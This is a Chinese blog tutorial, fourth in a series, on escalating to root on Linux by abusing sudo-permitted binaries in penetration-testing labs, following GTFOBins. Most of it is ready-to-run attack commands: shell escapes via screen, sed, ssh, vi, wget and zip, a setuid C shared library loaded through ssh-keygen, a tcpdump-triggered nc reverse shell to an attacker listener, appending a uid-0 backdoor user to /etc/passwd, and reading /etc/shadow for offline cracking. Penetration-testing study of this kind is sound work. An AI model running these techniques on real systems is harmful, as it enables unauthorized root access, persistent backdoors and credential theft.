渗透测试:Linux提权精讲(四)之sudo方法第四期

目录

写在开头  

sudo screen 

sudo script

sudo sed

sudo service

sudo socat

sudo ssh

sudo ssh-keygen

sudo strace

sudo systemctl

sudo tcpdump

sudo tee

sudo timedatectl

sudo tmux

sudo vi

sudo wall

sudo watch

sudo wget

sudo xxd

sudo zip

总结与思考

写在开头  

 本文在前两篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:

渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

渗透测试:Linux提权精讲(二)之sudo方法第二期_Bossfrank的博客-CSDN博客

渗透测试:Linux提权精讲(三)之sudo方法第三期_Bossfrank的博客-CSDN博客

 本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第3部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

 文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。

sudo screen 

利用前提 

 当前用户可以以sudo高级权限运行screen,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/screen

 利用详情可见screen | GTFOBins ,screen是一个终端复用工具,和tmux类似。由于screen本身就是终端的一种,因此如果sudo启动就会启动高权限的会话

操作方式 

 直接sudo即可

sudo screen

然后进入screen的默认界面,按回车或空格即可进入root的shell,即提权成功。

sudo script

利用前提 

 当前用户可以以sudo高级权限运行script,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/script

 利用详情可见script | GTFOBins, script工具本身就是用来启动新的shell会话,并保存shell中的命令操作记录。

操作方式 

 单纯从提权的角度来看,直接sudo就够了,但如果直接这样操作会存在一个我们不需要的提示信息,同时script会默认记录我们的一些操作,这对于渗透过程的隐藏自身痕迹很不利,因此提权时还需要添加参数-q(quiet),将运行script时的提示语句和最后的退出语句静默掉。同时添加参数/dev/null将script操作记录的结果全都丢掉。

sudo script -q /dev/null

此时启动的root的shell的过程才是渗透测试过程的优雅操作。

sudo sed

利用前提 

 当前用户可以以sudo高级权限运行sed,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/sed

 利用详情可见sed | GTFOBins,sed是一个强大的文本处理工具,用于对文本进行处理、读取和编辑

操作方式 

 运行如下命令即可提权:

sudo sed -n '1e exec bash 1>&0' /etc/hosts

 sed中有选项-n,表示不自动打印所有行(默认情况会打印所有行),仅仅打印我们想要打印的对应行,单引号'1e exec bash 1>0&1'是sed自有的命令,用来实现启动新的shell会话,其中1e表示在第一行后执行命令(1表示第一行,e表示执行命令),然后执行exec bash启动bash,0>&1将输出重定向到输入,形成一个信息流,/etc/hosts是一个文件(其他文件也行),由于sed本身是一个对文本的处理工具,因此必须添加一个待读取的文件,是什么不重要,但必须有,否则报错。

sudo service

利用前提 

 当前用户可以以sudo高级权限运行service,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/service

 利用详情可见service | GTFOBins,service用于管理Linux中的系统服务,能够将可执行文件作为服务启动。

操作方式 

 运行如下命令即可提权:

sudo service ../../bin/bash

 本质上就是利用service的高权限启动bash的服务,需要注意的是两个../ ,由于service启动服务并不是通过相对路径或绝对路径,返回上两级目录才能保证service的搜索范围内能够找到bash。

sudo socat

利用前提 

 当前用户可以以sudo高级权限运行socat,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/socat

 利用详情可见socat | GTFOBins,socat是一个多功能的网络工具,可以用来建立双向的数据传输通道。

操作方式 

 运行如下命令即可提权:

sudo socat stdin exec:/bin/bash

 socat可以通过stdin参数作为标准输入来执行命令,此处执行启动bash的命令,其中exec:/bin/bash这种格式是socat的语法。

sudo ssh

利用前提 

 当前用户可以以sudo高级权限运行ssh,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ssh

 利用详情可见ssh | GTFOBins ,ssh是渗透过程中非常常见的远程登录突破口。

操作方式 

 运行如下命令即可提权:

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

 ssh中的参选项ProxyCommand表示用一个代理服务器连接到远程主机,是在进行ssh操作之前就执行的命令,此处正是利用这个机制进行提权。-o表示option,引出ProxyCommand,';bash 0<&2 1>&2'是核心的提权逻辑,启动bash后对输入输出进行了重定向,但如果仅仅这样写(不加分号的话),引号中的内容会作为ssh的通道,完成代理服务,此时在ssh进行密钥交换的时候会无法与主机通信导致错误。分号就是起了这样的作用,分号的前面隐含了一个空语句,空语句一定能执行成功,只有分号前面的语句执行成功时后面的提权命令才会执行,这是bash的逻辑。最后的x就表示要连接的主机,随便写个啥都行,只要参数不空即可。说的有点绕,我自己也没完全理解清楚,回头再查一查。

sudo ssh-keygen

利用前提 

 当前用户可以以sudo高级权限运行ssh-keygen,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ssh-keygen

 利用详情可见ssh keygen | GTFOBins

操作方式 

  ssh-keygen有选项-D,用来指定动态链接库,在ssh-keygen执行的时候加载和使用,我们可以在动态链接库中添加提权逻辑。构造一个文件,写入提权逻辑,并按照动态链接库的方式进行编译。首先将提权逻辑写成一个动态链接库,我们可以直接vim getRoot.c 。内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

//指定静态无返回值的函数,设置属性constructor
static void inject()__attribute__((constructor));

void inject(){
    //设定uid为0,即root
    setuid(0);
    system("/bin/bash -p");
}

 对此.c文件进行编译,使用共享库的编译方式,输出.so文件:

gcc -shared -fPIC -o getRoot.so getRoot.c

 此时通过-D参数利用共享库文件getRoot.so即可提权:

sudo ssh-keygen -D ./getRoot.io

注意此时getRoot.io必须给出路径,否则会找不到共享库文件,因为默认情况寻找共享库会在环境变量LD_LIBRARY_PATH寻找共享库,而环境变量中并没有我们编写的这个共享库文件。

sudo strace

利用前提 

 当前用户可以以sudo高级权限运行strace,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/strace

 利用详情可见strace | GTFOBins,strace可用于追踪和记录另一个进程的系统调用和接收到的信号,在调试和理解程序的运行方式时非常有用。

操作方式 

  运行如下命令即可提权:

sudo strace -o /dev/null /bin/bash

 其中-o /dev/null表示将输出信息直接丢掉,/bin/bash直接作为strace要追踪的程序,因此会启动bash,也就实现了提权。

sudo systemctl

利用前提 

 当前用户可以以sudo高级权限运行systemctl,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/systemctl

 利用详情可见systemctl | GTFOBins,systemctl是systemd的核心命令行工具,用于启动/停止/重启系统服务、查看系统状态、查看并控制系统日志等。

操作方式 

  systemctl的提权有很多方式,此处演示较为常用的一种:

sudo systemctl
!/bin/bash

 这种提权思路和利用编辑器的提权有些类似,都是通过!告诉系统要执行的系统命令。

sudo tcpdump

利用前提 

 当前用户可以以sudo高级权限运行tcpdump,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/tcpdump

 利用详情可见tcpdump | GTFOBins,tcpdump是常用的监听、捕获网络流量的工具。

操作方式 

  tcpdump可以将捕获的一个流量数据包传递给某个脚本进行处理,那么我们可以写一个提权的脚本,并使用tcpdump的高权限进行提权。vim getRoot.sh,脚本采用反弹shell的逻辑,getRoot.sh的内容如下:

mknod getRoot_pipe p && /bin/nc 10.10.10.128 4444 0<getRoot_pipe | /bin/bash 1>getRoot_pipe 

 其中getRoot_pipe是我们建立的一个管道,使用nc回连kali的地址(我这里写作10.10.10.128的4444端口,读者根据自己的情况修改),后面的0<getRoot_pipe | /bin/bash 1>getRoot_pipe是对输入和输出的重定向。给我们写的脚本getRoot.sh添加执行权限“

chmod +x getRoot.sh

接下来回到kali中建立nc监听4444端口:

nc -lvnp 4444

接下来执行提权,命令如下:

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z getRoot.sh -Z root

 其中-ln表示使用数字形式显示ip地址和端口号,不进行反向解析,-i指定网卡,此处指定的网卡是eth0,建议使用ip a查看网卡名称,-w /dev/null表示将捕获的数据包直接丢掉(此处我们并不需要捕获数据包,只要符合对应的参数格式即可)。-W 1表示限制每个文件的大小最大为1,达到限制后会进行切换。-G 1表示1s后轮换到下一个文件。-z getRoot.sh给定处理数据包的脚本,此处就是含有提权逻辑的脚本getRoot.sh。-Z root表示用root权限进行操作。执行后即可触发反弹shell,在kali中可以看到nc监听的4444端口拿到了root的shell。

sudo tee

利用前提 

 当前用户可以以sudo高级权限运行tee,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/tee

 利用详情可见tee | GTFOBins,tee也是linux的常用工具,可以将输入中读取的数据写入到文件的同时输出到标准输出中。tee其实是一个象形文字,字母T好似有三个方向。

操作方式 

  此时的tee工具具有root的写权限,可以利用这一点,将新用户写到passwd中,从而实现提权。首先要做一些准备工作,在kali中用openssl生成一个passwd格式的hash:

openssl passwd -1 -salt newUser '123456'

 此时生成了一个哈希值,对应新用户newUser及其密码123456,然后根据/etc/passwd的格式构造newUser的信息:

newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash

然后通过tee将上述行添加到/etc/passwd中:

echo 'newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash' | sudo tee -a /etc/passwd

通过-a参数将echo的内容追加到/etc/passwd中,下面我们切换到newUsers账户即可实现提权:

su newUser
123456

 123456是我们刚刚设定的密码。此时就会提升为root了,查看/etc/passwd可以发现最后一行是我们刚才追加的newUser:$1$newUser$.KLMnIw2g2qsFYDp7QnFf0:0:0:root:/root:/bin/bash

sudo timedatectl

利用前提 

 当前用户可以以sudo高级权限运行timedatectl,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/timedatectl

 利用详情可见timedatectl | GTFOBins,timedatectl有子命令,可以列出时区,其显示时区的方式类似linux中的文档查看,所以有类似less/more这样的提权方式。

操作方式 

  类似less/more的提权方式:

sudo timedatectl list-timezones
!/bin/bash

 其中list-timezones是列出时区的子命令。运行sudo timedatectl list-timezones会显示类似less/more查看的方式,键入感叹号!表示执行系统命令。

sudo tmux

利用前提 

 当前用户可以以sudo高级权限运行tmux,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/tmux

 利用详情可见tmux | GTFOBins,tmux是我们的老熟人了,常见的终端复用工具,与screen类似。本质就是通过启动新的shell实现终端复用

操作方式 

  由于tmux本身就是用于启动新的shell,此处直接sudo即可提权。

sudo tmux

sudo vi

利用前提 

 当前用户可以以sudo高级权限运行vi,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/vi

 利用详情可见vi | GTFOBins,vi也是非常常见的编辑器,其利用提权方式也代表了一类操作。

操作方式 

  sudo启动vi编辑器后,通过执行系统命令启动bash即可提权:

sudo vi
:!/bin/bash

运行sudo vi后,会进入vi编辑器的编辑页面

输入冒号:表示进入命令模式,感叹号!表示执行系统命令。运行上述命令即可实现提权。也可以直接输入以下命令直接提权:

sudo vi -c ':!/bin/bash' /dev/null

这样的操作看起来更加优雅,其中-c表示执行命令。由于我们不需要用vi编辑打开任何文件,因此直接输入/dev/null即可。

sudo wall

利用前提 

 当前用户可以以sudo高级权限运行wall,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/wall

 利用详情可见wall | GTFOBins,wall是广播消息的命令,可以发送一条消息到所有打开的终端窗口,这是一种系统中进行通讯的方法,常用于系统管理员告知所有用户系统即将进行的操作,比如重启或通知,用户终端用wall就可以读取广播消息文件,如果wall具有sudo权限则可以读取任何文本文件。

操作方式 

  既然wall具有sudo权限则可以读取任何文本文件,那么我们就可以用他读取敏感文件,比如/etc/shadow。操作方式如下:

sudo wall --nobanner /etc/shadow

此时即可读取shadow文件,--nobanner表示不显示广播头信息(包含了信息发送的源数据),如果不添加这个参数,wall在读取文件显示文件内容之前会显示一行广播头信息,这是我们不想要的。读出shadow文件后,可以将root的shadow哈希进行破解。我们可以把root的hash命名为passwordhash,然后在kali中找个字典破解,类似下面这样:

john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt

 如果能破解出来,那么就可以用这个密码作为凭据进行提权了(su切换root账户,然后输入破解出的密码),不过如果不是弱口令的话也很难破解出来。

sudo watch

利用前提 

 当前用户可以以sudo高级权限运行watch,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/watch

 利用详情可见watch | GTFOBins,watch是在linux系统上周期性执行命令并显示结果的程序,默认每2s执行一次指定命令。

操作方式 

参数-x可以在命令行输出每次执行的命令,利用此参数即可进行提权,具体运行的命令如下:

sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'

bash -c表示想要执行的命令。'reset; exec bash 1>&0 2>&0'作用是:reset初始化终端,exec bash执行bash,1>&0 2>&0将输入和错误都重定向到标准输入,完成闭环信息流。

sudo wget

利用前提 

 当前用户可以以sudo高级权限运行wget,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/wget

 利用详情可见wget | GTFOBins。wget大家应该很熟悉了,是一个下载工具。

操作方式 

参数-O可以将下载的内容重写到某个特定位置,这是一种提权思路。本文讲解的是利用参数--use-askpass。当使用密码时,会调用一个程序获取密码,这种机制可以尝试进行提权,详见GTFOBins。具体操作如下,首先形成一个指向用mktemp生成的临时文件的变量TF:

TF=$(mktemp)

 给这个临时文件添加执行权限:

chmod +x $TF

此时临时文件是空文件,我们需要用echo在其中加入提权逻辑:

echo -e '#!/bin/bash\n/bin/bash 1>&0' >$TF

\n是换行符,反斜杠\原本在单引号中是不生效的,因此要在echo中加入参数-e,将反斜杠\表示为转义。接下来通过wget的--use-askpass参数执行提权操作:

sudo wget --use-askpass=$TF 0

其中0仅仅是用于参数补齐,此处本来应该填写待下载的文件。 当需要使用密码时,会调用一个程序获取密码,而此处我们将这个原本应该是用于密码处理的程序改为了我们的提权程序,借用wget的root权限执行了这个提权程序,实现了root。过程如下图

sudo xxd

利用前提 

 当前用户可以以sudo高级权限运行xxd,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/xxd

 利用详情可见xxd | GTFOBins,xxd是一个用于将二进制文件和十六进制文件相互转换的工具。

操作方式 

既然xxd可以用来读取并编码解码文件,那么我们可以利用其高权限读取敏感文件,比如读取/etc/shadow。

sudo xxd /etc/shadow | xxd -r

xxd /etc/shadow会读取shadow并进行编码,再用xxd -r进行解码,相当于可以读取shadow的原始内容。接下来的操作就是破解shadow中root账户的密码hash,前面的sudo wall已经提到方法,此处不赘述。

sudo zip

利用前提 

 当前用户可以以sudo高级权限运行zip,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/zip

 利用详情可见zip | GTFOBins,zip是非常常用的压缩工具。

操作方式 

zip有两个常用选项可以用来提权,其一是-T参数,用来检测压缩文件的完整性,其二是-TT,表示指定一个程序去检测压缩包的完整性。因此我们可以用-TT指定含有提权逻辑的程序,实现root。

sudo zip foo /etc/hosts -T -TT 'bash #'

其中zip foo /etc/hosts表示将/etc/hosts压缩,压缩后的文件命名为foo,当然此时我们并不关心压缩啥生成啥,可以任意起名,压缩任意一个文件。#表示注释忽略后面的内容 ,我们仅仅是想启动bash而已。运行此命令即可提权为root。

总结与思考

 本文介绍了19种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的19种提权方式强行来一个简要的分类,纯属个人理解,如果有总结不到位的地方还请读者多多指出。

可直接启动终端/shell:sudo screen, sudo tmux, sudo script

可直接执行系统命令:sudo sed

通过某些参数间接执行系统命令: sudo socat,  sudo ssh, sudo watch, sudo zip

将bash作为待处理的对象启动:sudo strace, sudo service

利用某些含有提权逻辑的文件:sudo ssh-keygen, sudo tcpdump, sudo wget

类似编辑器中执行系统命令:sudo systemctl, sudo vi

类似在less环境执行系统命令: sudo timedatectl

通过对敏感文件的修改或覆盖:sudo tee

通过对敏感文件的读取:sudo wall, sudo xxd

 其实多数情况都是通过某种方式执行了系统的命令或利用了对敏感文件的读写权限。至于是以哪种方式执行(直接/脚本/配置文件/在编辑器环境等)其实也没有特别明确的界限。 因此可能我的有些归类也略显牵强,大家只要理解提权的逻辑即可。 

 有关Linux提权的sudo二进制文件利用的总结到这里就结束了,后续其他Linux提权的博客将不再详解sudo方法,四篇有关linux sudo提权的博客总共总结了约70种提权方式,这里再总体进行一个归纳总结:

漏洞相关:CVE-2019-14287 , CVE-2021-22204(sudo exiftools)

通过报错信息读取敏感文件:sudo apache2 , sudo date, sudo openvpn

可直接启动终端/shell:sudo screen, sudo tmux, sudo script, sudo bash/ash/zsh/sh/dash/tclsh等

可直接执行系统命令:sudo awk, sudo sed

通过某些参数间接执行系统命令: sudo apt/apt-get, sudo find, sudo gdb, sudo gcc, sudo knife, sudo mount, sudo rvim, sudo mysql, sudo socat,  sudo ssh, sudo watch, sudo zip, sudo expect

将bash作为待处理/使用的对象(被动)或工具(主动)启动:sudo env, sudo flock, sudo nice, sudo nohup, sudo pkexec, sudo strace, sudo service, sudo cpulimit

利用某些含有提权逻辑的文件:sudo neofetch, sudo nmap, sudo scp, sudo ssh-keygen, sudo tcpdump, sudo wget, sudo dstat,sudo fail2ban

类似编辑器中执行系统命令:sudo systemctl, sudo vi

类似在less环境执行系统命令: sudo ed, sudo git,  sudo less, sudo more, sudo journalctl, sudo man, sudo timedatectl

通过对敏感文件的修改或覆盖:sudo cp, sudo dd, sudo curl, sudo tee, sudo passwd

通过对敏感文件的读取:sudo gzip/gunzip, sudo wall, sudo xxd, sudo base32/58/64/nc/z

交互命令行可执行系统命令:sudo ftp, sudo itop, sudo hping3

利用某种语言(比如编写反弹shell):sudo java, sudo perl, sudo php, sudo python, sudo node, sudo jjs

类似nano的编辑器环境执行系统命令:sudo nano,  sudo pico

 这篇博客到这里就结束了,总结这些可真是累死我了,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法(非sudo方式)并继续坚持打靶,也可能开个新坑写一些关于python的内容,还望读者多多支持。

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/132662689